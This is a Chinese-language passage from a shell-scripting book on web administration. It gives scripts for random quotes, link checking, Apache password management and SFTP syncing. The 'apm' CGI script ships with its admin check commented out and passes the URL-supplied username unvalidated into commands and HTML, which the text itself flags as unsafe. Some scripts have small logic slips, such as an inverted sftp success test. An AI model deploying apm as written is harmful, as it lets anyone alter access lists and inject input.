这个脚本的一个限制是,必须下载每张照片的完整尺寸版本,才能显示照片相册视图。如果你有十几张 100MB 的照片文件,那么对于一个连接较慢的人来说,可能需要相当长的时间。而且缩略图并不比原图小。解决方案是自动创建每张图片的缩放版本,这可以通过使用像 ImageMagick 这样的工具在脚本中完成(详见 Script #97 第 322 页)。不幸的是,很少有 Unix 安装包含这种复杂的图形工具,所以如果你想在这个方向扩展该相册,可以从学习更多关于 ImageMagick 的内容开始,访问 www.imagemagick.org/

扩展这个脚本的另一种方法是教它显示可点击的文件夹图标,以便任何子目录都能显示出来,从而使相册充当一个完整的文件系统或照片树,按组合方式组织成作品集。

这个相册脚本一直是我们最喜欢的。令人高兴的是,将它作为一个 shell 脚本非常容易以成千上万种方式扩展其功能。例如,通过使用名为 showpic 的脚本来显示较大的图像,而不仅仅是链接到 JPEG 图像,约 15 分钟就能实现一个每张图像的计数系统,让人们看到哪些图像最受欢迎。

#68 显示随机文本

许多 web 服务器提供内置的 服务器端包含(SSI) 功能,这允许你调用一个程序,将一行或多行文本添加到正在服务给访客的网页中。这为扩展网页提供了许多极好的方法。我们最喜欢的一种方法是每次加载页面时更改网页的某个元素。这个元素可能是一个图形、一个新闻片段、一个推荐的子页面,或者是网站本身的标语,每次访问时稍微不同,保持读者的兴趣。

值得注意的是,这个技巧通过一个仅包含几行 awk 程序的 shell 脚本就能轻松实现,该脚本可以通过 SSI 或 iframe(一种通过不同 URL 服务页面部分内容的方法)从网页中调用。该脚本如 Listing 8-9 所示。

代码

#!/bin/bash

# randomquote--Given a one-line-per-entry datafile,
#   randomly picks one line and displays it. Best used
#   as an SSI call within a web page.

awkscript="/tmp/randomquote.awk.$$"

if [ $# -ne 1 ] ; then
  echo "Usage: randomquote datafilename" >&2
  exit 1
elif [ ! -r "$1" ] ; then
  echo "Error: quote file $1 is missing or not readable" >&2
  exit 1
fi

trap "$(which rm) -f $awkscript" 0

cat << "EOF" > $awkscript
BEGIN { srand() }
      { s[NR] = $0 }
END   { print s[randint(NR)] }
function randint(n) { return int (n * rand() ) + 1 }
EOF

awk -f $awkscript < "$1"

exit 0

Listing 8-9: *randomquote* 脚本

它是如何工作的

给定一个数据文件的名称,脚本首先检查文件是否存在且可读取。然后,它将整个文件传递给一个简短的awk脚本,该脚本将每一行存储在数组中,统计行数,然后随机选择数组中的一行并打印到屏幕上。

运行脚本

脚本可以通过以下代码行集成到 SSI 兼容的网页中:

<!--#exec cmd="randomquote.sh samplequotes.txt"-->

大多数服务器要求使用.shtml文件扩展名,而不是传统的.html.htm,用于包含此服务器端包含内容的网页。通过这个简单的更改,randomquote命令的输出被嵌入到网页内容中。

结果

你可以通过直接在命令行中调用脚本来测试它,如清单 8-10 所示。

$ randomquote samplequotes.txt
Neither rain nor sleet nor dark of night...
$ randomquote samplequotes.txt
The rain in Spain stays mainly on the plane? Does the pilot know about this?

清单 8-10:运行 *randomquote* 脚本

破解脚本

你可以将randomquote使用的数据文件包含一个图像名称列表。然后,你可以使用这个脚本来循环显示一组图像。一旦你考虑到这一点,你会发现这个想法可以做很多事情。

第十章:WEB 和 INTERNET 管理

image

如果你正在运行一个 web 服务器或负责一个网站,无论是简单还是复杂,你很可能经常需要执行某些任务,特别是识别断开的内部和外部站点链接。通过使用 shell 脚本,你可以自动化许多这些任务,也可以自动化一些常见的客户端/服务器任务,比如管理受密码保护的网站目录的访问信息。

#69 识别断开的内部链接

第七章中的几个脚本突出了 lynx 纯文本浏览器的功能,但这个强大的软件应用程序还隐藏着更多的功能。对于网站管理员来说,尤其有用的一项功能是 traverse(通过使用 -traversal 启用),它使得 lynx 尝试遍历网站上的所有链接,以检查是否存在断开的链接。这个功能可以在一个简短的脚本中利用,就像 Listing 9-1 所描述的那样。

代码

   #!/bin/bash

   # checklinks--Traverses all internal URLs on a website, reporting
   #   any errors in the "traverse.errors" file

   # Remove all the lynx traversal output files upon completion.
   trap "$(which rm) -f traverse.dat traverse2.dat" 0

   if [ -z "$1" ] ; then
     echo "Usage: checklinks URL" >&2
     exit 1
   fi

   baseurl="$(echo $1 | cut -d/ -f3 | sed 's/http:\/\///')"

   lynx➊ -traversal -accept_all_cookies➋ -realm "$1" > /dev/null

   if [ -s "traverse.errors" ] ; then
     /bin/echo -n $(wc -l < traverse.errors) errors encountered.
➌   echo Checked $(grep '^http' traverse.dat | wc -l) pages at ${1}:
     sed "s|$1||g" < traverse.errors
     mv traverse.errors ${baseurl}.errors
     echo "A copy of this output has been saved in ${baseurl}.errors"
   else
     /bin/echo -n "No errors encountered. ";
     echo Checked $(grep '^http' traverse.dat | wc -l) pages at ${1}
   fi

   if [ -s "reject.dat" ]; then
     mv reject.dat ${baseurl}.rejects
   fi

   exit 0

Listing 9-1: *checklinks* 脚本

它是如何工作的

这个脚本的大部分工作是由 lynx ➊ 完成的;脚本只是对 lynx 的输出文件进行一些处理,整理并以吸引人的方式展示数据。lynx 输出文件 reject.dat 包含指向外部 URL 的链接列表(查看 Script #70 在 第 220 页 了解如何利用这些数据),traverse.errors 包含无效链接的列表(这个脚本的核心),traverse.dat 包含所有检查过的页面列表,而 traverse2.dattraverse.dat 相同,只是它还包括每个访问页面的标题。

lynx 命令可以接受很多不同的参数,在这种情况下,我们需要使用 -accept_all_cookies ➋,以免程序因是否接受或拒绝来自页面的 cookie 而停滞。我们还使用 -realm,确保脚本仅从该网站某个点开始,或“向下”检查树中的页面,而不是遇到的每个链接。如果没有 -realm,它可能像个疯子一样挖掘出成千上万的页面。当我们在没有 -realm 的情况下运行 -traversalwww.intuitive.com/wicked/ 进行检查时,它在两个小时的漫长等待后发现了超过 6500 个页面。使用 -realm 标志时,它仅在几分钟内识别了 146 个页面进行检查。

运行脚本

要运行这个脚本,只需在命令行中指定一个 URL。你可以遍历并检查 任何 网站,但要小心:像 Google 或 Yahoo! 这样的站点检查起来会非常慢,并且在过程中会占用你所有的磁盘空间。

结果

让我们检查一个没有错误的微型网站 (Listing 9-2)。

$ checklinks http://www.404-error-page.com/
No errors encountered. Checked 1 pages at http://www.404-error-page.com/

Listing 9-2: 运行 *checklinks* 脚本,检查没有错误的网站

果然,一切正常。那么稍大一点的网站呢?清单 9-3 显示了当网站存在潜在损坏链接时,checklinks 可能输出的内容。

$ checklinks http://www.intuitive.com/library/
5 errors encountered. Checked 62 pages at http://intuitive.com/library/:
   index/   in BeingEarnest.shtml
   Archive/f8     in Archive/ArtofWriting.html
   Archive/f11    in Archive/ArtofWriting.html
   Archive/f16    in Archive/ArtofWriting.html
   Archive/f18    in Archive/ArtofWriting.html
A copy of this output has been saved in intuitive.com.errors

清单 9-3:在有损坏链接的大型网站上运行 *checklinks* 命令

这意味着文件 BeingEarnest.shtml 包含了一个指向 /index/ 的链接,但该链接无法解析:文件 /index/ 不存在。在 ArtofWriting.html 文件中也有四个奇怪的链接错误。

最后,在 清单 9-4 中,让我们检查 Dave 的电影评论博客,看看可能潜藏着哪些链接错误。

$ time checklinks http://www.daveonfilm.com/
No errors encountered. Checked 982 pages at http://www.daveonfilm.com/

real  50m15.069s
user  0m42.324s
sys  0m6.801s

清单 9-4:运行 *checklinks* 脚本并使用 *time* 工具来了解它花费的时间

注意,在长命令前添加对 time 的调用是查看脚本运行时长的聪明方法。在这里,你可以看到检查 www.daveonfilm.com/ 上的所有 982 页用了 50 分钟的实际时间,实际处理时间为 42 秒。真是很多!

破解脚本

数据文件 traverse.dat 包含了所有遇到的 URL 列表,而 reject.dat 则包含所有遇到但未检查的 URL,通常是因为它们是外部链接。我们将在下一个脚本中处理这些。实际的错误会出现在 清单 9-1 中的 traverse.errors 文件 ➌ 部分。

要让这个脚本报告图像引用错误,可以使用 greptraverse.errors 文件中查找 .gif.jpeg.png 文件后缀,然后将结果输入到 sed 语句(它会清理输出,使其更美观)。

#70 报告损坏的外部链接

这个伙伴脚本(清单 9-5)是 脚本 #69 的延伸,基于该脚本的输出,识别所有外部链接并进行测试,确保没有 “404 Not Found” 错误。为了简化操作,它假设先前的脚本已经运行完毕,因此它可以利用 *.rejects 文件中的 URL 列表。

代码

   #!/bin/bash

   # checkexternal--Tests all URLs on a website to build a list of external
   #   references, then check each one to ascertain which might be dead or
   #   otherwise broken. The -a flag forces the script to list all matches,
   #   whether they're accessible or not; by default, only unreachable links
   #   are shown.

   listall=0; errors=0; checked=0

   if [ "$1" = "-a" ] ; then
     listall=1; shift
   fi

   if [ -z "$1" ] ; then
     echo "Usage: $(basename $0) [-a] URL" >&2
     exit 1
   fi

   trap "$(which rm) -f traverse*.errors reject*.dat traverse*.dat" 0

   outfile="$(echo "$1" | cut -d/ -f3).errors.ext"
   URLlist="$(echo $1 | cut -d/ -f3 | sed 's/www\.//').rejects"

   rm -f $outfile     # Ready for new output

   if [ ! -e "$URLlist" ] ; then
     echo "File $URLlist not found. Please run checklinks first." >&2
     exit 1
   fi

   if [ ! -s "$URLlist" ] ; then
     echo "There don't appear to be any external links ($URLlist is empty)." >&2
     exit 1
   fi

   #### Now, finally, we're ready to begin...

   for URL in $(cat $URLlist | sort | uniq)
   do
➊   curl -s "$URL" > /dev/null 2>&1; return=$?
     if [ $return -eq 0 ] ; then
       if [ $listall -eq 1 ] ; then
         echo "$URL is fine."
       fi
     else
       echo "$URL fails with error code $return"
       errors=$(( $errors + 1 ))
     fi
     checked=$(( $checked + 1 ))
   done

   echo ""
   echo "Done. Checked $checked URLs and found $errors errors."
   exit 0

清单 9-5: *checkexternal* 脚本

它是如何工作的

这不是本书中最优雅的脚本。它更像是一种强力检查外部链接的方法。对于找到的每个外部链接,curl 命令通过尝试抓取其 URL 内容来验证链接的有效性,然后在内容到达后立即丢弃它们,这部分操作在 ➊ 代码块中完成。

这里值得提到的是 2>&1 的符号:它使得输出设备 #2 被重定向到输出设备 #1 设置的目标。对于 shell,输出 #2 是 stderr(错误信息),输出 #1 是 stdout(常规输出)。单独使用 2>&1 会使得 stderr 重定向到 stdout。然而,在此重定向之前,请注意 stdout 已经被重定向到 /dev/null。这是一个虚拟设备,可以接收无限量的数据而不会变大。可以把它想象成一个黑洞,这样你就能理解它的作用了。因此,这个符号确保了 stderr 也会被重定向到 /dev/null。我们丢弃这些信息,因为我们真正关心的是 curl 是否从这个命令返回零或非零的返回码。零表示成功;非零表示错误。

遍历的内部页面数只是文件 traverse.dat 的行数,外部链接的数量可以通过查看 reject.dat 获得。如果指定了 -a 标志,输出将列出所有外部链接,无论它们是否可达。否则,只会显示失败的 URL。

运行脚本

要运行此脚本,只需指定要检查的站点的 URL 作为脚本的参数。

结果

让我们检查 intuitive.com/ 中的坏链接,参考清单 9-6。

$ checkexternal -a http://intuitive.com/
http://chemgod.slip.umd.edu/~kidwell/weather.html fails with error code 6
http://epoch.oreilly.com/shop/cart.asp fails with error code 7
http://ezone.org:1080/ez/ fails with error code 7
http://fx.crewtags.com/blog/ fails with error code 6
http://linc.homeunix.org:8080/reviews/wicked.html fails with error code 6
http://links.browser.org/ fails with error code 6
http://nell.boulder.lib.co.us/ fails with error code 6
http://rpms.arvin.dk/slocate/ fails with error code 6
http://rss.intuitive.com/ fails with error code 6
http://techweb.cmp.com/cw/webcommerce fails with error code 6
http://tenbrooks11.lanminds.com/ fails with error code 6
http://www.101publicrelations.com/blog/ fails with error code 6
http://www.badlink/somewhere.html fails with error code 6
http://www.bloghop.com/ fails with error code 6
http://www.bloghop.com/ratemyblog.htm fails with error code 6
http://www.blogphiles.com/webring.shtml fails with error code 56
http://www.blogstreet.com/blogsqlbin/home.cgi fails with error code 56
http://www.builder.cnet.com/ fails with error code 6
http://www.buzz.builder.com/ fails with error code 6
http://www.chem.emory.edu/html/html.html fails with error code 6
http://www.cogsci.princeton.edu/~wn/ fails with error code 6
http://www.ourecopass.org/ fails with error code 6
http://www.portfolio.intuitive.com/portfolio/ fails with error code 6

Done. Checked 156 URLs and found 23 errors.

清单 9-6:运行 *checkexternal* 脚本以检查 intuitive.com/

看起来是时候进行一些清理了!

#71 管理 Apache 密码

Apache Web 服务器的一个极好的功能是它提供对密码保护目录的内置支持,即使在共享的公共服务器上也能使用。这是一个很好的方式,能够在你的网站上拥有私密、安全和有限访问的信息,无论你是运行付费订阅服务,还是仅仅希望确保家庭照片只被家人查看。

标准配置要求在受密码保护的目录中管理一个名为 .htaccess 的数据文件。该文件指定了安全“区域”的名称,更重要的是,它指向一个包含用于验证访问该目录的帐户名和密码对的单独数据文件。管理这个文件并不难,唯一的问题是,Apache 提供的唯一工具是原始的 htpasswd 程序,它在命令行中运行。作为另一种选择,本书中最复杂、最精密的脚本之一 apm 提供了一个密码管理工具,可以在浏览器中作为 CGI 脚本运行,允许你轻松添加新帐户、修改现有帐户的密码以及删除访问列表中的帐户。

要开始使用,您需要一个正确格式化的 .htaccess 文件来控制对所在目录的访问。为了演示,这个文件可能是这样的:

$ cat .htaccess
AuthUserFile /usr/lib/cgi-bin/.htpasswd
AuthGroupFile /dev/null
AuthName "Members Only Data Area."
AuthType Basic

<Limit GET>
require valid-user
</Limit>

一个单独的文件 .htpasswd 包含所有账户和密码对。如果这个文件还不存在,你需要创建它。一个空的文件也可以:运行 touch .htpasswd 并确保它对运行 Apache 的用户 ID(通常是 nobody 用户)是可写的。然后,你就可以使用 Listing 9-7 中的脚本了。然而,这还要求你在 《运行本章中的脚本》 中配置 CGI 环境,具体参见 第 201 页。确保将此 Shell 脚本保存到你的 cgi-bin 目录中。

代码

   #!/bin/bash

   # apm--Apache Password Manager allows the administrator to easily
   #   add, update, or delete accounts and passwords for a subdirectory
   #   of a typical Apache configuration (where the config file is called
   #   .htaccess).
 echo "Content-type: text/html"
   echo ""
   echo "<html><title>Apache Password Manager Utility</title><body>"

   basedir=$(pwd)
   myname="$(basename $0)"
   footer="$basedir/apm-footer.html"
   htaccess="$basedir/.htaccess"

   htpasswd="$(which htpasswd) -b"

   # It's strongly suggested you include the following code for security purposes:
   #
   # if [ "$REMOTE_USER" != "admin" -a -s $htpasswd ] ; then
   #   echo "Error: You must be user <b>admin</b> to use APM."
   #   exit 0
   # fi

   # Now get the password filename from the .htaccess file.

   if [ ! -r "$htaccess" ] ; then
     echo "Error: cannot read $htaccess file."
     exit 1
   fi

   passwdfile="$(grep "AuthUserFile" $htaccess | cut -d\   -f2)"
   if [ ! -r $passwdfile ] ; then
     echo "Error: can't read password file: can't make updates."
     exit 1
   elif [ ! -w $passwdfile ] ; then
     echo "Error: can't write to password file: can't update."
     exit 1
   fi

   echo "<center><h1 style='background:#ccf;border-radius:3px;border:1px solid
   #99c;padding:3px;'>"
   echo "Apache Password Manager</h1>"

   action="$(echo $QUERY_STRING | cut -c3)"
   user="$(echo $QUERY_STRING|cut -d\& -f2|cut -d= -f2|\
   tr '[:upper:]' '[:lower:]')"

➊ case "$action" in
     A ) echo "<h3>Adding New User <u>$user</u></h3>"
           if [ ! -z "$(grep -E "^${user}:" $passwdfile)" ] ; then
             echo "Error: user <b>$user</b> already appears in the file."
           else
             pass="$(echo $QUERY_STRING|cut -d\& -f3|cut -d= -f2)"
➋           if [ ! -z "$(echo $pass|tr -d '[[:upper:][:lower:][:digit:]]')" ];
             then
               echo "Error: passwords can only contain a-z A-Z 0-9 ($pass)"
 else
➌             $htpasswd $passwdfile "$user" "$pass"
               echo "Added!<br>"
             fi
           fi
           ;;
     U ) echo "<h3>Updating Password for user <u>$user</u></h3>"
           if [ -z "$(grep -E "^${user}:" $passwdfile)" ] ; then
             echo "Error: user <b>$user</b> isn't in the password file?"
             echo "searched for &quot;^${user}:&quot; in $passwdfile"
           else
             pass="$(echo $QUERY_STRING|cut -d\& -f3|cut -d= -f2)"
             if [ ! -z "$(echo $pass|tr -d '[[:upper:][:lower:][:digit:]]')" ];
             then
               echo "Error: passwords can only contain a-z A-Z 0-9 ($pass)"
             else
               grep -vE "^${user}:" $passwdfile | tee $passwdfile > /dev/null
               $htpasswd $passwdfile "$user" "$pass"
               echo "Updated!<br>"
             fi
           fi
           ;;
     D ) echo "<h3>Deleting User <u>$user</u></h3>"
           if [ -z "$(grep -E "^${user}:" $passwdfile)" ] ; then
             echo "Error: user <b>$user</b> isn't in the password file?"
           elif [ "$user" = "admin" ] ; then
             echo "Error: you can't delete the 'admin' account."
           else
             grep -vE "^${user}:" $passwdfile | tee $passwdfile >/dev/null
             echo "Deleted!<br>"
           fi
           ;;
   esac

   # Always list the current users in the password file...

   echo "<br><br><table border='1' cellspacing='0' width='80%' cellpadding='3'>"
   echo "<tr bgcolor='#cccccc'><th colspan='3'>List "
   echo "of all current users</td></tr>"
➍ oldIFS=$IFS ; IFS=":"   # Change word split delimiter...
     while read acct pw ; do
       echo "<tr><th>$acct</th><td align=center><a href=\"$myname?a=D&u=$acct\">"
       echo "[delete]</a></td></tr>"
     done < $passwdfile
     echo "</table>"
     IFS=$oldIFS             # ...and restore it.

     # Build selectstring with all accounts included...
➎ optionstring="$(cut -d: -f1 $passwdfile | sed 's/^/<option>/'|tr '\n' ' ')"

     if [ ! -r $footer ] ; then
       echo "Warning: can't read $footer"
   else
     # ...and output the footer.
➏   sed -e "s/--myname--/$myname/g" -e "s/--options--/$optionstring/g" < $footer
   fi

   exit 0

Listing 9-7: *apm* 脚本

它是如何工作的

这个脚本的正常运行需要许多部分协同工作。你不仅需要正确配置 Apache Web 服务器(或等效服务器),还需要在 .htaccess 文件中有正确的条目,并且需要有一个包含至少 admin 用户条目的 .htpasswd 文件。

脚本本身从 .htaccess 文件中提取 htpasswd 文件名,并进行各种测试,以避免常见的 htpasswd 错误情况,包括脚本无法写入文件的情况。所有这些都发生在脚本的主要部分,即 case 语句之前。

处理 .htpasswd 文件的更改

case 语句 ➊ 决定请求的三个可能操作中的哪一个——A 表示添加用户,U 表示更新用户记录,D 表示删除用户——并根据需要调用正确的代码段。操作和要执行操作的用户账户通过 QUERY_STRING 变量指定。该变量由网页浏览器在 URL 中发送到服务器,格式为 a=*X*&u=*Y*,其中 *X* 是操作字母代码,*Y* 是指定的用户名。当更改密码或添加用户时,还需要一个第三个参数 p,以指定密码值。

例如,假设我们要添加一个新用户 joe,密码为 knife。此操作会导致以下 QUERY_STRING 从 Web 服务器发送到脚本:

a=A&u=joe&p=knife

脚本解包这一信息,将 action 变量设置为 Auser 设置为 joepass 设置为 knife。然后,它使用 ➋ 处的测试来确保密码仅包含有效的字母字符。

最后,如果一切正常,它会调用 htpasswd 程序来加密密码,并将其添加到 ➌ 处的 .htpasswd 文件中。除了处理 .htpasswd 文件的更改外,脚本还生成一个 HTML 表格,列出 .htpasswd 文件中的每个用户,并附有一个 [delete] 链接。

在生成表格标题的三行 HTML 输出后,脚本继续执行 ➍。这个 while 循环通过将 输入字段分隔符 (IFS) 改为冒号并在完成后将其恢复来读取 .htpasswd 文件中的用户名和密码对。

添加操作底部的操作提示

该脚本还依赖于一个名为 apm-footer.html 的 HTML 文件,该文件包含 --myname----options-- 字符串 ➏,这两个字符串分别在文件输出到 stdout 时被当前 CGI 脚本的名称和用户列表替换。

$myname 变量由 CGI 引擎处理,该引擎会用脚本的实际名称替换该变量。脚本本身根据 .htpasswd 文件中的账户名和密码对在 ➎ 处构建 $optionstring 变量。

清单 9-8 中的 HTML 页脚文件提供了添加用户、更新用户密码和删除用户的功能。

<!-- footer information for APM system. -->

<div style='margin-top: 10px;'>
<table border='1' cellpadding='2' cellspacing='0' width="80%"
 style="border:2px solid #666;border-radius:5px;" >
 <tr><th colspan='4' bgcolor='#cccccc'>Password Manager Actions</th></tr>
 <tr><td>
  <form method="get" action="--myname--">
  <table border='0'>
    <tr><td><input type='hidden' name="a" value="A">
     add user:</td><td><input type='text' name='u' size='15'>
    </td></tr><tr><td>
     password: </td><td> <input type='text' name='p' size='15'>
    </td></tr><tr><td colspan="2" align="center">
     <input type='submit' value='add' style="background-color:#ccf;">
    </td></tr>
  </table></form>
</td><td>
  <form method="get" action="--myname--">
  <table border='0'>
    <tr><td><input type='hidden' name="a" value="U">
      update</td><td><select name='u'>--options--</select>
    </td></tr><tr><td>
      password: </td><td><input type='text' name='p' size='10'>
    </td></tr><tr><td colspan="2" align="center">
      <input type='submit' value='update' style="background-color:#ccf;">
    </td></tr>
  </table></form>
</td><td>
  <form method="get" action="--myname--"><input type='hidden'
    name="a" value="D">delete <select name='u'> --options-- </select>
    <br /><br /><center>
    <input type='submit' value='delete' style="background-color:#ccf;"></
center></form>
</td></tr>
</table>
</div>

<h5 style='background:#ccf;border-radius:3px;border:1px solid
#99c;padding:3px;'>
  From the book <a href="http://www.intuitive.com/wicked/">Wicked Cool Shell
Scripts</a>
</h5>

</body></html>

清单 9-8:用于添加新用户创建部分的 apm-footer.html 文件

运行脚本

你很可能希望将此脚本保存在你想要用密码保护的目录中,尽管你也可以像我们一样将其放入 cgi-bin 目录。不管怎样,确保在脚本开头适当调整 htpasswd 和目录的值。你还需要一个.htaccess 文件来定义访问权限,并且一个 .htpasswd 文件必须存在且可被运行 Apache 网络服务器的用户写入。

注意

使用 *apm* 时,确保你创建的第一个账户是 *admin* ,这样在后续调用脚本时才能正常使用!代码中有一个特殊测试,允许你在 .htpasswd 为空时创建 *admin* 账户。

结果

运行apm脚本的结果如图 9-1 所示。请注意,它不仅列出了每个账户并提供删除链接,还提供了添加新账户、修改现有账户密码、删除账户或列出所有账户的选项。

image

图 9-1:基于 shell 脚本的 Apache 密码管理系统

破解脚本

Apache htpasswd 程序提供了一个很好的命令行界面,用于将新账户和加密的密码信息追加到账户数据库中。但只有两种常见的分发版 htpasswd 支持批量使用脚本——也就是说,从命令行给脚本提供账户和密码。你可以很容易地判断你的版本是否支持:如果 htpasswd 在你尝试使用 -b 标志时没有报错,那么你使用的就是更好、更现代的版本。不过,通常来说,你应该是没问题的。

请注意,如果此脚本安装不正确,任何知道 URL 的人都可以将自己添加到访问文件中并删除其他所有人。这是不安全的。一个解决方案是仅允许在用户已登录为 admin 时运行此脚本(正如脚本顶部的注释代码所提到的)。另一种保护脚本的方法是将其放在一个本身已经密码保护的目录中。

#72 使用 SFTP 同步文件

虽然ftp程序在大多数系统上仍然可用,但它正逐渐被新的文件传输协议如rsyncssh(安全外壳)所替代。这样做有几个原因。自本书第一版以来,FTP 开始在“大数据”时代的扩展性和数据安全性方面表现出一些弱点,且更高效的数据传输协议变得越来越主流。默认情况下,FTP 还会以明文方式传输数据,这对于家用或在受信任网络上的企业网络一般是可以接受的,但如果你在开放网络(例如图书馆或星巴克)中进行 FTP 传输,而该网络有许多人与你共享,那么就不太安全了。

所有现代服务器都应该支持安全性更高的ssh软件包,支持端到端加密。加密传输的文件传输部分是sftp,虽然它比ftp更原始,但我们仍然可以使用它。清单 9-9 显示了如何利用sftp安全地同步文件。

注意

如果你的系统没有 *ssh* ,请向你的供应商和管理员团队投诉。没有理由不安装。如果你有访问权限,你也可以在 www.openssh.com/ 上获取该软件包并自行安装。

代码

  #!/bin/bash

   # sftpsync--Given a target directory on an sftp server, makes sure that
   #   all new or modified files are uploaded to the remote system. Uses
   #   a timestamp file ingeniously called .timestamp to keep track.

   timestamp=".timestamp"
   tempfile="/tmp/sftpsync.$$"
   count=0

   trap "$(which rm) -f $tempfile" 0 1 15      # Zap tempfile on exit

   if [ $# -eq 0 ] ; then
     echo "Usage: $0 user@host { remotedir }" >&2
     exit 1
   fi

   user="$(echo $1 | cut -d@ -f1)"
   server="$(echo $1 | cut -d@ -f2)"

   if [ $# -gt 1 ] ; then
     echo "cd $2" >> $tempfile
   fi

   if [ ! -f $timestamp ] ; then
     # If no timestamp file, upload all files.
     for filename in *
     do
       if [ -f "$filename" ] ; then
         echo "put -P \"$filename\"" >> $tempfile
         count=$(( $count + 1 ))
       fi
     done
   else
     for filename in $(find . -newer $timestamp -type f -print)
     do
       echo "put -P \"$filename\"" >> $tempfile
       count=$(( $count + 1 ))
     done
   fi

   if [ $count -eq 0 ] ; then
     echo "$0: No files require uploading to $server" >&2
     exit 1
   fi

   echo "quit" >> $tempfile

   echo "Synchronizing: Found $count files in local folder to upload."

➊ if ! sftp -b $tempfile "$user@$server" ; then
      echo "Done. All files synchronized up with $server"
      touch $timestamp
   fi
   exit 0

清单 9-9: *sftpsync* 脚本

工作原理

sftp程序允许将一系列命令作为管道或输入重定向传递给它。这个功能使得这个脚本非常简单:它几乎完全专注于构建一个命令序列,用于上传所有更改过的文件。最后,这些命令会被传递给sftp程序执行。

如果你的sftp版本在传输失败时没有正确返回非零失败代码到 shell,只需删除脚本末尾的条件块➊,并用以下内容替换:

sftp -b $tempfile "$user@$server"
touch $timestamp

由于sftp需要指定账户为user@host,它实际上比等效的 FTP 脚本更简单。还要注意添加到put命令中的-P标志:它会使 FTP 保留传输所有文件的本地权限以及创建和修改时间。

运行脚本

进入本地源目录,确保目标目录存在,并使用你的用户名、服务器名称和远程目录调用脚本。对于简单的情况,我们有一个别名叫做ssync(源同步),它会进入我们需要保持同步的目录并自动调用sftpsync

alias ssync="sftpsync taylor@intuitive.com /wicked/scripts"

结果

使用用户、主机和要同步的目录作为参数运行sftpsync应该允许你同步目录,如清单 9-10 所示。

$ sftpsync taylor@intuitive.com /wicked/scripts
Synchronizing: Found 2 files in local folder to upload.
Connecting to intuitive.com...
taylortaylor@intuitive.com's password:
sftp> cd /wicked/scripts
sftp> put -P "./003-normdate.sh"
Uploading ./003-normdate.sh to /usr/home/taylor/usr/local/etc/httpd/htdocs/
intuitive/wicked/scripts/003-normdate.sh
sftp> put -P "./004-nicenumber.sh"
Uploading ./004-nicenumber.sh to /usr/home/taylor/usr/local/etc/httpd/htdocs/
intuitive/wicked/scripts/004-nicenumber.sh
sftp> quit
Done. All files synchronized up with intuitive.com

清单 9-10:运行 *sftpsync* 脚本

修改脚本

我们用来调用sftpsync的封装脚本是一个非常有用的脚本,在本书的开发过程中,我们一直使用它来确保网络归档中的脚本副本与我们自己服务器上的脚本完全同步,同时避免了 FTP 协议的不安全性,www.intuitive.com/wicked/

清单 9-11 中的这个封装器ssync包含了所有必要的逻辑,用于移动到正确的本地目录(参见变量localsource),并创建一个文件归档,包含所有文件的最新版本,称为tarball(命名来源于用于构建它的tar命令)。

#!/bin/bash

# ssync--If anything has changed, creates a tarball and syncs a remote
#   directory via sftp using sftpsync

sftpacct="taylor@intuitive.com"
tarballname="AllFiles.tgz"
localsource="$HOME/Desktop/Wicked Cool Scripts/scripts"
remotedir="/wicked/scripts"
timestamp=".timestamp"
count=0

# First off, let's see if the local directory exists and has files.

if [ ! -d "$localsource" ] ; then
  echo "$0: Error: directory $localsource doesn't exist?" >&2
  exit 1
fi

cd "$localsource"

# Now let's count files to ensure something's changed.

if [ ! -f $timestamp ] ; then
  for filename in *
  do
    if [ -f "$filename" ] ; then
      count=$(( $count + 1 ))
    fi
  done
else
  count=$(find . -newer $timestamp -type f -print | wc -l)
fi

if [ $count -eq 0 ] ; then
  echo "$(basename $0): No files found in $localsource to sync with remote."
  exit 0
fi

echo "Making tarball archive file for upload"

tar -czf $tarballname ./*

# Done! Now let's switch to the sftpsync script.

exec sftpsync $sftpacct $remotedir

清单 9-11: *ssync* 封装脚本

如有必要,创建一个新的归档文件,所有文件(当然包括新的归档文件)根据需要上传到服务器,如清单 9-12 所示。

$ ssync
Making tarball archive file for upload
Synchronizing: Found 2 files in local folder to upload.
Connecting to intuitive.com...
taylor@intuitive.com's password:
sftp> cd shellhacks/scripts
sftp> put -P "./AllFiles.tgz"
Uploading ./AllFiles.tgz to shellhacks/scripts/AllFiles.tgz
sftp> put -P "./ssync"
Uploading ./ssync to shellhacks/scripts/ssync
sftp> quit
Done. All files synchronized up with intuitive.com

清单 9-12:运行 *ssync* 脚本

另一个改进是让ssync通过cron任务每隔几小时在工作日内自动调用,以便远程备份服务器上的文件在没有人工干预的情况下与本地文件同步。

第十一章:互联网服务器管理

image

管理 web 服务器和服务的工作通常与设计和管理网站内容的工作完全分开。尽管前一章提供的工具主要面向 web 开发人员和其他内容管理者,本章将展示如何分析 web 服务器日志文件、镜像网站以及监控网络健康状况。

#73 探索 Apache 的 access_log

如果你运行的是 Apache 或类似的 web 服务器,使用 Common Log Format,你可以通过 shell 脚本进行快速的统计分析。在标准配置下,服务器会为站点写入 access_logerror_log 文件(通常位于 /var/log,但这可能依赖于系统)。如果你有自己的服务器,应该务必归档这些宝贵的信息。

表 10-1 列出了 access_log 文件中的字段。

表 10-1: access_log 文件中的字段值

1 访问服务器的主机 IP
2–3 HTTPS/SSL 连接的安全信息
4 特定请求的日期和时区偏移
5 调用的方法
6 请求的 URL
7 使用的协议
8 结果代码
9 传输的字节数
10 引荐来源
11 浏览器标识字符串

access_log 中的典型一行如下所示:

65.55.219.126 - - [04/Jul/2016:14:07:23 +0000] "GET /index.rdf HTTP/1.0" 301
310 "-" "msnbot-UDiscovery/2.0b (+http://search.msn.com/msnbot.htm)""

结果代码(第 8 个字段)为301表示请求被认为是成功的。引荐来源(第 10 个字段)表示用户在请求页面之前访问的页面的 URL。十年前,这通常是上一页面的 URL;现在,由于隐私原因,通常是"-",就像你在这里看到的。

站点的命中次数可以通过对日志文件进行行计数来确定,而文件中条目的日期范围可以通过比较第一行和最后一行来确认。

$ wc -l access_log
   7836 access_log
$ head -1 access_log ; tail -1 access_log
69.195.124.69 - - [29/Jun/2016:03:35:37 +0000] ...
65.55.219.126 - - [04/Jul/2016:14:07:23 +0000] ...

考虑到这些要点,清单 10-1 中的脚本可以从 Apache 格式的 access_log 文件中生成多个有用的统计数据。该脚本期望我们在第一章中编写的scriptbcnicenumber脚本已经存在于PATH中。

代码

   #!/bin/bash
   # webaccess--Analyzes an Apache-format access_log file, extracting
   #   useful and interesting statistics

   bytes_in_gb=1048576

 # You will want to change the following to match your own hostname
   #   to help weed out internally referred hits in the referrer analysis.
   host="intuitive.com"

   if [ $# -eq 0 ] ; then
